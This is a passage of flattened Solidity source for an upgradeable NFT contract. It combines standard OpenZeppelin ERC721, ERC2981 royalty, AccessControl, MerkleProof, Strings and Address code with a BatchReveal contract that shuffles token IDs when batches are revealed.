owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/common/ERC2981.sol) pragma solidity ^0.8.0; import "../../interfaces/IERC2981Upgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the NFT Royalty Standard, a standardized way to retrieve royalty payment information. * * Royalty information can be specified globally for all token ids via {_setDefaultRoyalty}, and/or individually for * specific token ids via {_setTokenRoyalty}. The latter takes precedence over the first. * * Royalty is specified as a fraction of sale price. {_feeDenominator} is overridable but defaults to 10000, meaning the * fee is specified in basis points by default. * * IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See * https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to * voluntarily pay royalties together with sales, but note that this standard is not yet widely supported. * * _Available since v4.5._ */ abstract contract ERC2981Upgradeable is Initializable, IERC2981Upgradeable, ERC165Upgradeable { function __ERC2981_init() internal onlyInitializing { } function __ERC2981_init_unchained() internal onlyInitializing { } struct RoyaltyInfo { address receiver; uint96 royaltyFraction; } RoyaltyInfo private _defaultRoyaltyInfo; mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC165Upgradeable) returns (bool) { return interfaceId == type(IERC2981Upgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @inheritdoc IERC2981Upgradeable */ function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual override returns (address, uint256) { RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId]; if (royalty.receiver == address(0)) { royalty = _defaultRoyaltyInfo; } uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) / _feeDenominator(); return (royalty.receiver, royaltyAmount); } /** * @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a * fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an * override. */ function _feeDenominator() internal pure virtual returns (uint96) { return 10000; } /** * @dev Sets the royalty information that all ids in this contract will default to. * * Requirements: * * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. */ function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: invalid receiver"); _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator); } /** * @dev Removes default royalty information. */ function _deleteDefaultRoyalty() internal virtual { delete _defaultRoyaltyInfo; } /** * @dev Sets the royalty information for a specific token id, overriding the global default. * * Requirements: * * - `tokenId` must be already minted. * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. */ function _setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: Invalid parameters"); _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator); } /** * @dev Resets royalty information for the token id back to the global default. */ function _resetTokenRoyalty(uint256 tokenId) internal virtual { delete _tokenRoyaltyInfo[tokenId]; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[48] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProofUpgradeable { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } //SPDX-License-Identifier: CC0 pragma solidity ^0.8.0; /* See ../../randomness.md */ abstract contract BatchReveal { uint constant public TOKEN_LIMIT = 6666; uint constant public REVEAL_BATCH_SIZE = 66; mapping(uint => uint) public batchToSeed; uint public lastTokenRevealed; struct Range{ int128 start; int128 end; } // Forked from openzeppelin /** * @dev Returns the smallest of two numbers. */ function min(int128 a, int128 b) internal pure returns (int128) { return a < b ? a : b; } uint constant RANGE_LENGTH = (TOKEN_LIMIT/REVEAL_BATCH_SIZE)*2; int128 constant intTOKEN_LIMIT = int128(int(TOKEN_LIMIT)); // ranges include the start but not the end [start, end) function addRange(Range[RANGE_LENGTH] memory ranges, int128 start, int128 end, uint lastIndex) pure private returns (uint) { uint positionToAssume = lastIndex; for(uint j=0; j<lastIndex; j++){ int128 rangeStart = ranges[j].start; int128 rangeEnd = ranges[j].end; if(start < rangeStart && positionToAssume == lastIndex){ positionToAssume = j; } if( (start < rangeStart && end > rangeStart) || (rangeStart <= start && end <= rangeEnd) || (start < rangeEnd && end > rangeEnd) ){ int128 length = end-start; start = min(start, rangeStart); end = start + length + (rangeEnd-rangeStart); ranges[j] = Range(-1,-1); // Delete } } for(uint pos = lastIndex; pos > positionToAssume; pos--){ ranges[pos] = ranges[pos-1]; } ranges[positionToAssume] = Range(start, min(end, intTOKEN_LIMIT)); lastIndex++; if(end > intTOKEN_LIMIT){ addRange(ranges, 0, end - intTOKEN_LIMIT, lastIndex); lastIndex++; } return lastIndex; } function buildJumps(uint lastBatch) view private returns (Range[RANGE_LENGTH] memory) { Range[RANGE_LENGTH] memory ranges; uint lastIndex = 0; for(uint i=0; i<lastBatch; i++){ int128 start = int128(int(getFreeTokenId(batchToSeed[i], ranges))); int128 end = start + int128(int(REVEAL_BATCH_SIZE)); lastIndex = addRange(ranges, start, end, lastIndex); } return ranges; } function getShuffledTokenId(uint startId) view internal returns (uint) { uint batch = startId/REVEAL_BATCH_SIZE; Range[RANGE_LENGTH] memory ranges = buildJumps(batch); uint positionsToMove = (startId % REVEAL_BATCH_SIZE) + batchToSeed[batch]; return getFreeTokenId(positionsToMove, ranges); } function getFreeTokenId(uint positionsToMoveStart, Range[RANGE_LENGTH] memory ranges) pure private returns (uint) { int128 positionsToMove = int128(int(positionsToMoveStart)); int128 id = 0; for(uint round = 0; round<2; round++){ for(uint i=0; i<RANGE_LENGTH; i++){ int128 start = ranges[i].start; int128 end = ranges[i].end; if(id < start){ int128 finalId = id + positionsToMove; if(finalId < start){ return uint(uint128(finalId)); } else { positionsToMove -= start - id; id = end; } } else if(id < end){ id = end; } } if((id + positionsToMove) >= intTOKEN_LIMIT){ positionsToMove -= intTOKEN_LIMIT - id; id = 0; } } return uint(uint128(id + positionsToMove)); } function setBatchSeed(uint randomness) internal { uint batchNumber; unchecked { batchNumber = lastTokenRevealed/REVEAL_BATCH_SIZE; lastTokenRevealed += REVEAL_BATCH_SIZE; } // not perfectly random since the folding doesn't match bounds perfectly, but difference is small batchToSeed[batchNumber] = randomness % (TOKEN_LIMIT - (batchNumber*REVEAL_BATCH_SIZE)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { 